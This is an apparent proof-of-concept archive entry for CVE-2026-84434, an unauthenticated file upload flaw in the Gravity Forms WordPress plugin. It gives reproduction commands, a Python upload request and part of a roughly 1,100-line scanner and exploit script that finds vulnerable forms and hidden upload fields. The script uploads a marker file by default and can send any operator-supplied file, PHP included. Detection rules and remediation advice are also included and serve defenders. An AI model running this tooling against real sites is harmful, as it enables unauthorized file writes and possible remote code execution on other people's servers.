PoC Archive PoC Archive
CVE-2026-84434 category: web CVSS 9.8 (CRITICAL)
Patched

Gravity Forms ≤ 3.1.0.4 — Unauthenticated Arbitrary File Upload via Hidden File Upload Field (CVE-2026-84434)

Published: 2026-11-25 • Researcher: murrez (PoC repo); 0xd4rk5id3 / EnvoraSec (researcher credited in the upstream README; advisory via Wordfence)

Target software Gravity Forms plugin for WordPress
Affected versions All versions up to and including 3.1.0.4 (fixed in 3.1.0.5; vendor security release 3.1.1)
Status PoC
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-19
Author / Researchermurrez (PoC repo); 0xd4rk5id3 / EnvoraSec (researcher credited in the upstream README; advisory via Wordfence)
CVE / AdvisoryCVE-2026-84434
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.x; the worklist/NVD record does not publish a vector string — see references)
StatusPoC
Tagsarbitrary-file-upload, CWE-434, WordPress, Gravity-Forms, unauthenticated, RCE, hidden-field, upload_file, multipart, webshell
RelatedN/A

Affected Target

FieldValue
Software / SystemGravity Forms plugin for WordPress
Versions AffectedAll versions up to and including 3.1.0.4 (fixed in 3.1.0.5; vendor security release 3.1.1)
Language / PlatformPHP / WordPress (any web server: Apache, nginx, LiteSpeed); PoC runs on Python 3.9+
Authentication RequiredNo
Network Access RequiredYes

Summary

Gravity Forms, a commercial WordPress form plugin, is vulnerable to unauthenticated arbitrary file upload in versions up to and including 3.1.0.4. Validation and persistence are handled by different code paths: a File Upload field whose Visibility is set to Hidden skips extension validation, and a rejected file’s intact upload state is later handed to the upload file handler without being re-checked. An unauthenticated attacker can therefore POST a file of their choosing to any public form that contains such a hidden File Upload field, and the file is written under the plugin’s uploads directory. If the server executes PHP from that directory, the upload becomes remote code execution; otherwise it still allows hosting of arbitrary content on the victim site.

Vulnerability Details

Root Cause

The plugin’s form validation pipeline and its file persistence pipeline disagree about hidden File Upload fields. When a File Upload field is configured with Visibility set to Hidden, the validation stage does not apply the normal extension allow-list to the submitted file. If validation rejects the submission, the uploaded file’s state is not discarded; the still-intact upload state is later passed to the upload_file() function during persistence, where it is processed without repeating the extension check. The result is an unrestricted upload primitive reachable by an unauthenticated visitor to a public form.

Attack Vector

An unauthenticated attacker identifies a public Gravity Form that renders a File Upload field with Visibility set to Hidden, then submits a multipart POST to the page hosting the form (or to /wp-admin/admin-ajax.php for AJAX-enabled forms) containing the usual Gravity Forms hidden fields (gform_submit, is_submit_{form_id}), plausible values for visible required fields, and an attacker-controlled file part named after the hidden input (input_{form_id}_{field_id}). The submitted filename and extension are attacker-controlled, for example a PHP file. The upstream PoC automates discovery of the version, form, and hidden file field, then performs the upload.

Impact

Arbitrary file write to a web-accessible directory as the WordPress web user. Where the uploads path permits script execution (for example nginx configurations that do not inherit the plugin’s .htaccess PHP-execution block, an alternate document root, or permissive handler mapping), this yields remote code execution and full site compromise. Even where execution is blocked, an attacker can host arbitrary files, phishing content, or malware on the victim domain, and can overwrite or fill the uploads directory. No authentication is required.

Environment / Lab Setup

Output
OS:          Linux (any) or a disposable container
Target:      WordPress with Gravity Forms <= 3.1.0.4 and a public form
             containing a File Upload field with Visibility = Hidden
Attacker:    Any Linux/macOS host with Python 3.9+
Tools:       Python 3, requests, urllib3, curl (optional)

Setup Steps

Shell script
1
2
3
pip install -r requirements.txt

python3 poc.py -u https://target.example --mode check

Proof of Concept

Step-by-Step Reproduction

  1. Check the target — detect Gravity Forms and read the plugin version from the asset ver= parameter, the plugin header, or the changelog.

    Shell script
    1
    
    python3 poc.py -u https://target.example --mode check
  2. Read the candidate metadata — a vulnerable version plus a public form with a hidden File Upload field yields status: candidate and the best_form details (form_id, page_url, file_field). Mass check mode also writes these to candidates.jsonl, which exploit mode can consume directly.

    Shell script
    1
    2
    
    python3 poc.py -u https://target.example --mode check \
      --form-id 3 --page-url /contact/ --file-field 7
  3. Upload a benign probe — in exploit mode the default payload is an in-memory .txt marker; the script submits it on the hidden input and looks for a confirmation message or an upload URL in the response.

    Shell script
    1
    2
    
    python3 poc.py -u https://target.example --mode exploit \
      --form-id 3 --page-url /contact/ --file-field 7
  4. Optional: supply your own file — --payload-file uploads a local file of your choosing (for example a PHP file on an authorized test target); the script sends the file with a MIME type derived from its extension and does not ship a webshell.

    Shell script
    1
    2
    3
    
    python3 poc.py -u https://target.example --mode exploit \
      --form-id 3 --page-url /contact/ --file-field 7 \
      --payload-file probe.txt
  5. Verify — a successful upload returns exploited: true with either an upload URL hint under wp-content/uploads/gravity_forms/ or a success confirmation; when a URL hint is present the script re-fetches it and checks for the marker.

Exploit Code

See poc.py (about 1.1k lines) in this folder; upstream usage is in upstream-README.md.

The upload request is a standard Gravity Forms multipart submission:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests

TARGET = "https://target.example"
PAGE = "/contact/"

data = {
    "gform_submit": "3",
    "is_submit_3": "1",
    "gform_unique_id": "",          # echoed from the form when present
    "input_1": "probe",             # placeholder values for visible required fields
}
files = {
    "input_3_7": ("probe.txt", b"upload-probe", "text/plain"),
}

r = requests.post(TARGET + PAGE, data=data, files=files, timeout=25)
print(r.status_code, r.text[:500])

Expected Output

JSON
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
  "target": "https://target.example",
  "ok": true,
  "exploited": true,
  "input_name": "input_3_7",
  "filename": "gf84434_a1b2c3d4e5.txt",
  "marker": "gf84434_a1b2c3d4e5",
  "verified_url": "https://target.example/wp-content/uploads/gravity_forms/3-<hash>/2026/11/gf84434_a1b2c3d4e5.txt",
  "form_id": 3,
  "page_url": "https://target.example/contact/",
  "file_field": {"input_name": "input_3_7", "field_id": 7},
  "body": {
    "status_code": 200,
    "upload_url_hint": "/wp-content/uploads/gravity_forms/3-<hash>/2026/11/gf84434_a1b2c3d4e5.txt",
    "response_snip": "...gform_confirmation_message..."
  }
}

A non-vulnerable or non-matching target returns a diagnostic status such as patched, forms_no_hidden_upload, or plugin_no_public_forms with exploited: false.

Detection & Indicators of Compromise

  • Multipart POSTs to public form pages or /wp-admin/admin-ajax.php where the file part name matches a hidden input_{form}_{field} and the submitted filename has a script extension (.php, .phtml, .phar).
  • New files under wp-content/uploads/gravity_forms/ with unexpected extensions, non-image MIME content, or randomized names, especially clustered with form submissions from the same source.
  • Gravity Forms validation errors followed by a successful persistence/confirmation for the same submission (the validation bypass signature).
  • Requests that include gform_submit and is_submit_{id} but reference a file field that is not visible in the rendered form HTML.
  • WAF alerts for upload attempts carrying <?php in the request body; webserver errors from executing uploaded files.

Example access-log pattern:

Output
POST /contact/ HTTP/1.1 200
Content-Type: multipart/form-data; boundary=...
... name="input_3_7"; filename="probe.php" ... <?php ... ?>

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"CVE-2026-84434 Gravity Forms hidden upload with script extension"; \
  content:"gravityforms"; http_uri; nocase; \
  content:"filename="; nocase; content:".php"; nocase; \
  content:"is_submit_"; nocase; sid:9002611;)

Remediation

ActionDetail
PatchUpgrade Gravity Forms to 3.1.0.5 or later (vendor security release 3.1.1 or later); update via the WordPress plugin dashboard or your managed plugin pipeline.
WorkaroundRemove hidden File Upload fields from public forms or disable the file upload field type on forms that anonymous visitors can reach, until the patch is applied.
Config HardeningBlock PHP execution under wp-content/uploads/ at the web-server level (nginx location ~* /uploads/.*\.php$ { deny all; } and equivalent), keep the plugin’s .htaccess protections in place, deploy a WAF rule for script uploads, and restrict file permissions for the web user.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-84434 on 2026-11-25.

Review verdict: ingested as a PoC. The repository is labeled a “PoC scanner and exploit”; its check mode is reconnaissance, but it also contains a real exploit path. submission_success() and submit_upload() perform the actual unauthenticated multipart upload to the hidden field and confirm the stored file, so this is not a detector-only project. It is a limited PoC, not a full weaponized RCE chain: RCE depends on the server executing PHP from wp-content/uploads/gravity_forms/, the targeted form must expose a visible-in-HTML hidden File Upload field, and the default exploit uploads a harmless .txt marker rather than a webshell (build_marker_payload() exists but is unused by the CLI; --payload-file lets an operator supply their own file). The repository is MIT licensed (see upstream-LICENSE); files are archived with attribution for authorized research only. The exploit was not executed during ingestion; only syntax was validated. Run only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-84434 (see README for attribution/license)
"""
CVE-2026-84434 - Gravity Forms <= 3.1.0.4
Unauthenticated arbitrary file upload via hidden File Upload field (upload_file).
"""

from __future__ import annotations

import argparse
import json
import os
import random
import re
import string
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)

PLUGIN_SLUG = "gravityforms"
MAX_VULN_VERSION = (3, 1, 0, 4)

DEFAULT_PATHS = (
    "/",
    "/contact/",
    "/contact-us/",
    "/contactpagina/",
    "/get-in-touch/",
    "/support/",
    "/quote/",
    "/request-quote/",
    "/apply/",
    "/register/",
    "/signup/",
    "/donate/",
    "/book/",
    "/appointment/",
)

GF_ASSET_VER_RE = re.compile(
    r"/wp-content/plugins/gravityforms/[^\"'\s>]+\?(?:ver=)([0-9]+\.[0-9]+\.[0-9]+)",
    re.I,
)
CRAWL_PATH_HINTS = (
    "contact", "form", "formulier", "bestel", "order", "apply",
    "register", "quote", "donate", "submit", "aanvraag",
)

print_lock = threading.Lock()


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=30, pool_maxsize=30)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def resolve_page_url(base, raw):
    if not raw:
        return None
    raw = raw.strip()
    if raw.startswith(("http://", "https://")):
        return raw
    if not raw.startswith("/"):
        raw = "/" + raw
    return base.rstrip("/") + raw


def parse_version_header(text):
    if not text:
        return None
    m = re.search(r"Version:\s*([0-9]+(?:\.[0-9]+)*)", text, re.I)
    if not m:
        return None
    parts = []
    for x in m.group(1).split("."):
        try:
            parts.append(int(x))
        except ValueError:
            break
    return tuple(parts) if parts else None


def version_le(a, b):
    if not a:
        return False
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def plugin_urls(base):
    root = base.rstrip("/") + "/wp-content/plugins/" + PLUGIN_SLUG
    return {
        "main": root + "/gravityforms.php",
        "css": root + "/assets/css/dist/basic.min.css",
        "changelog": root + "/change_log.txt",
    }


def parse_version_from_assets(html):
    if not html:
        return None
    candidates = []
    for m in GF_ASSET_VER_RE.finditer(html):
        ver = parse_version_tuple(m.group(1))
        if ver and ver[0] >= 2:
            candidates.append(ver)
    if not candidates:
        return None
    return max(candidates)


def parse_version_tuple(text):
    if not text:
        return None
    parts = []
    for x in str(text).strip().split("."):
        try:
            parts.append(int(x))
        except ValueError:
            break
    return tuple(parts) if parts else None


def apply_version_status(out, ver):
    out["version"] = ".".join(str(x) for x in ver) if ver else None
    if not ver:
        return
    if version_le(ver, MAX_VULN_VERSION):
        out["vulnerable"] = True
        out["patched"] = False
    else:
        out["vulnerable"] = False
        out["patched"] = True


def detect_plugin(s, base, timeout):
    out = {
        "plugin": False,
        "version": None,
        "vulnerable": False,
        "patched": False,
    }
    urls = plugin_urls(base)
    header_text = ""
    asset_html = ""

    try:
        r = get(s, urls["main"], timeout=timeout)
        if r.status_code == 200 and r.text.strip() and "gravity forms" in r.text.lower():
            header_text = r.text
            out["plugin"] = True
    except requests.RequestException:
        pass

    if not out["plugin"]:
        try:
            r2 = get(s, urls["css"], timeout=timeout)
            if r2.status_code == 200:
                out["plugin"] = True
        except requests.RequestException:
            pass

    try:
        rh = get(s, base.rstrip("/") + "/", timeout=timeout)
        if rh.status_code == 200:
            asset_html = rh.text
            if not out["plugin"] and "/plugins/gravityforms/" in asset_html.lower():
                out["plugin"] = True
    except requests.RequestException:
        pass

    ver = parse_version_header(header_text)
    if not ver and asset_html:
        ver = parse_version_from_assets(asset_html)
    if not ver:
        try:
            rc = get(s, urls["changelog"], timeout=timeout)
            if rc.status_code == 200:
                m = re.search(r"=\s*([0-9]+\.[0-9]+\.[0-9]+)\s*\|", rc.text)
                if m:
                    ver = parse_version_tuple(m.group(1))
                if not out["plugin"] and "gravity forms" in rc.text.lower():
                    out["plugin"] = True
        except requests.RequestException:
            pass

    if not ver and out["plugin"]:
        for path in expand_crawl_paths(s, base, DEFAULT_PATHS[:8], timeout, max_extra=10):
            purl = resolve_page_url(base, path)
            if not purl:
                continue
            if asset_html and purl.rstrip("/") == (base.rstrip("/") + "/").rstrip("/"):
                page = asset_html
            else:
                try:
                    rp = get(s, purl, timeout=timeout)
                except requests.RequestException:
                    continue
                if rp.status_code != 200:
                    continue
                page = rp.text
            ver = parse_version_from_assets(page)
            if ver:
                break

    if out["plugin"]:
        apply_version_status(out, ver)
    return out


def has_gf_form(html):
    if not html:
        return False
    return bool(re.search(r'id=["\']gform_(?:wrapper_)?\d+["\']', html, re.I))


def expand_crawl_paths(s, base, paths, timeout, max_extra=24):
    out = []
    seen = set()
    for p in paths:
        if p not in seen:
            seen.add(p)
            out.append(p)
    try:
        r = get(s, base.rstrip("/") + "/", timeout=timeout)
    except requests.RequestException:
        return out
    if r.status_code != 200:
        return out
    host = urlparse(base).netloc.lower()
    for m in re.finditer(r'href=["\']([^"\']+)["\']', r.text, re.I):
        href = m.group(1).strip()
        if not href or href.startswith(("#", "mailto:", "tel:", "javascript:")):
            continue
        if href.startswith("//"):
            href = "https:" + href
        if href.startswith("http"):
            if urlparse(href).netloc.lower() != host:
                continue
            path = urlparse(href).path or "/"
        else:
            path = href.split("?")[0].split("#")[0]
            if not path.startswith("/"):
                path = "/" + path
        low = path.lower()
        if not any(h in low for h in CRAWL_PATH_HINTS):
            continue
        if path not in seen:
            seen.add(path)
            out.append(path)
        if len(out) >= len(paths) + max_extra:
            break
    return out


def extract_form_ids(html):
    if not html:
        return []
    pats = (
        r'id=["\']gform_wrapper_(\d+)["\']',
        r'id=["\']gform_(\d+)["\']',
        r'gformInitSpinner\s*\(\s*(\d+)',
        r'gform\.forms\[\s*(\d+)\s*\]',
    )
    found = []
    seen = set()
    for pat in pats:
        for m in re.finditer(pat, html, re.I):
            fid = int(m.group(1))
            if fid > 0 and fid not in seen:
                seen.add(fid)
                found.append(fid)
    return found


def extract_form_html(html, form_id):
    if not html:
        return ""
    patterns = [
        r'(<form[^>]+id=["\']gform_%d["\'][^>]*>.*?</form>)' % form_id,
        r'(<div[^>]+id=["\']gform_wrapper_%d["\'][^>]*>.*?</div>\s*(?=<div[^>]+id=["\']gform_wrapper_|\Z))' % form_id,
    ]
    for pat in patterns:
        m = re.search(pat, html, re.I | re.S)
        if m:
            return m.group(1)
    return html


def field_id_from_input(name):
    if not name:
        return None
    m = re.match(r"input_(\d+)_(\d+)$", name)
    if m:
        return int(m.group(2))
    m = re.match(r"input_(\d+)$", name)
    if m:
        return int(m.group(1))
    return None


def block_is_hidden(block):
    low = block.lower()
    if "gfield_visibility_hidden" in low:
        return True
    if re.search(r'visibility[_-]?hidden', low):
        return True
    if "gform_hidden" in low and "type-fileupload" in low:
        return True
    if re.search(r'class=["\'][^"\']*gform_hidden[^"\']*["\']', low) and "type=\"file\"" in low:
        return True
    return False


def block_is_fileupload(block):
    low = block.lower()
    return (
        "gfield--type-fileupload" in low
        or "gfield_fileupload" in low
        or re.search(r'type=["\']file["\']', low)
    )


def split_gfield_blocks(form_html):
    blocks = re.findall(
        r'(<li[^>]*class=["\'][^"\']*gfield[^"\']*["\'][^>]*>.*?</li>)',
        form_html,
        re.I | re.S,
    )
    if blocks:
        return blocks
    return re.findall(
        r'(<div[^>]*class=["\'][^"\']*gfield[^"\']*["\'][^>]*>.*?</div>)',
        form_html,
        re.I | re.S,
    )


def parse_hidden_file_fields(form_html, form_id):
    fields = []
    seen = set()
    for block in split_gfield_blocks(form_html):
        if not block_is_fileupload(block):
            continue
        if not block_is_hidden(block):
            continue
        m = re.search(r'name=["\'](input_\d+(?:_\d+)?)["\']', block, re.I)
        if not m:
            m = re.search(r'id=["\'](input_%d_\d+)["\']' % form_id, block, re.I)
        if not m:
            continue
        name = m.group(1)
        if name in seen:
            continue
        seen.add(name)
        fields.append({
            "input_name": name,
            "field_id": field_id_from_input(name),
        })
    return fields


def block_is_visible_required(block):
    low = block.lower()
    if block_is_hidden(block):
        return False
    if "gfield--type-honeypot" in low or "gfield--type-captcha" in low:
        return False
    if "gfield--type-html" in low or "gfield--type-section" in low:
        return False
    if "aria-required=\"true\"" in low or "gfield_contains_required" in low:
        return True
    if re.search(r'\brequired\b', low) and "type=\"hidden\"" not in low:
        return True
    return False


def dummy_value_for_input(tag, name):
    low = tag.lower()
    nlow = name.lower()
    if "email" in nlow or 'type="email"' in low:
        return "probe_%s@example.com" % random.randint(1000, 9999)
    if "phone" in nlow or "tel" in nlow:
        return "5550100"
    if "url" in nlow or 'type="url"' in low:
        return "https://example.com"
    if "number" in nlow or 'type="number"' in low:
        return "1"
    if 'type="checkbox"' in low or 'type="radio"' in low:
        m = re.search(r'value=["\']([^"\']*)["\']', tag, re.I)
        return m.group(1) if m else "1"
    if "name" in nlow and ("first" in nlow or "last" in nlow):
        return "Probe"
    return "test"


def parse_required_visible_values(form_html, form_id):
    values = {}
    for block in split_gfield_blocks(form_html):
        if not block_is_visible_required(block):
            continue
        if block_is_fileupload(block):
            continue
        for tag in re.findall(r"<(?:input|textarea|select)[^>]+>", block, re.I):
            tlow = tag.lower()
            if 'type="hidden"' in tlow or 'type="submit"' in tlow or 'type="button"' in tlow:
                continue
            if 'type="file"' in tlow:
                continue
            m = re.search(r'name=["\'](input_%d_\d+(?:\.\d+)?)["\']' % form_id, tag, re.I)
            if not m:
                m = re.search(r'name=["\'](input_\d+)["\']', tag, re.I)
            if not m:
                continue
            name = m.group(1)
            if name in values:
                continue
            if tag.lower().startswith("<select"):
                opt = re.search(r'<option[^>]+value=["\']([^"\']+)["\']', block, re.I)
                values[name] = opt.group(1) if opt else "1"
            elif "<textarea" in tlow:
                values[name] = "test"
            else:
                values[name] = dummy_value_for_input(tag, name)
    return values


def extract_hidden_inputs(form_html, form_id):
    out = {}
    for m in re.finditer(
        r'<input[^>]+type=["\']hidden["\'][^>]*>',
        form_html,
        re.I,
    ):
        tag = m.group(0)
        nm = re.search(r'name=["\']([^"\']+)["\']', tag, re.I)
        val = re.search(r'value=["\']([^"\']*)["\']', tag, re.I)
        if not nm:
            continue
        name = nm.group(1)
Showing 500 of 1092 lines View full file on GitHub →